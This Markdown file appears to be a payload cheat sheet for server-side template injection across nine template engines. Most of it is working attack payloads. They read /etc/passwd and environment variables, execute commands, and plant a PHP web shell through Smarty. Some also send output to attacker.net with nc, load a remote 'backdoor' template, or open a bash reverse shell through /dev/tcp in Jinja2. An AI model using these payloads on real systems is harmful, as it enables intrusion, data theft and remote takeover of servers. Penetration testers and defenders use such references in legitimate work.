179 lines
5.0 KiB
Markdown
179 lines
5.0 KiB
Markdown
# Templates Injections
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> Template injection allows an attacker to include template code into an existant (or not) template.
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Recommended tool: [Tplmap](https://github.com/epinna/tplmap)
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e.g:
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```
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./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
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```
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## Ruby
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### Basic injection
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```python
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<%= 7 * 7 %>
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```
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### Retrieve /etc/passwd
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```python
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<%= File.open('/etc/passwd').read %>
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```
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## Java
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### Basic injection
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```java
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${{7*7}}
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```
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### Retrieve the system’s environment variables.
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```java
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${T(java.lang.System).getenv()}
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```
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### Retrieve /etc/passwd
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```java
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${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
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```
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## Twig
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### Basic injection
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```python
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{{7*7}}
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{{7*'7'}} would result in 49
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```
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### Template format
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```python
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$output = $twig > render (
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'Dear' . $_GET['custom_greeting'],
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array("first_name" => $user.first_name)
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);
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$output = $twig > render (
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"Dear {first_name}",
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array("first_name" => $user.first_name)
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);
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```
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### Code execution
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```python
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{{self}}
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{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
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```
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## Smarty
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```python
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{php}echo `id`;{/php}
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{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
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```
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## Freemarker
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Default functionality.
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```python
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<#assign
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ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
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```
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## Jade / Codepen
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```python
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- var x = root.process
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- x = x.mainModule.require
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- x = x('child_process')
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= x.exec('id | nc attacker.net 80')
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```
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## Velocity
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```python
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#set($str=$class.inspect("java.lang.String").type)
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#set($chr=$class.inspect("java.lang.Character").type)
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#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
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$ex.waitFor()
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#set($out=$ex.getInputStream())
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#foreach($i in [1..$out.available()])
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$str.valueOf($chr.toChars($out.read()))
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#end
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```
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## Mako
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```python
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<%
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import os
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x=os.popen('id').read()
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%>
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${x}
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```
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## Jinja2
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[Official website](http://jinja.pocoo.org/)
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> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
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### Basic injection
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```python
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{{4*4}}[[5*5]]
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{{7*'7'}} would result in 7777777
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```
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Jinja2 is used by Python Web Frameworks such as Django or Flask.
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The above injections have been tested on Flask application.
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### Template format
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```python
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{% extends "layout.html" %}
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{% block body %}
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<ul>
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{% for user in users %}
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<li><a href="{{ user.url }}">{{ user.username }}</a></li>
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{% endfor %}
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</ul>
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{% endblock %}
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```
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### Dump all used classes
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```python
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{{ ''.__class__.__mro__[2].__subclasses__() }}
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```
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### Dump all config variables
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```python
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{% for key, value in config.iteritems() %}
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<dt>{{ key|e }}</dt>
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<dd>{{ value|e }}</dd>
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{% endfor %}
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```
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### Read remote file
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```python
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# ''.__class__.__mro__[2].__subclasses__()[40] = File class
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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```
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### Write into remote file
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
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```
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### Remote Code Execution via reverse shell
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Listen for connexion
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```
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nv -lnvp 8000
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```
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Inject this template
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```python
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{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
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{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
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{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
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```
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## Thanks to
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* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
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* [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
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* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
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* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
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* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
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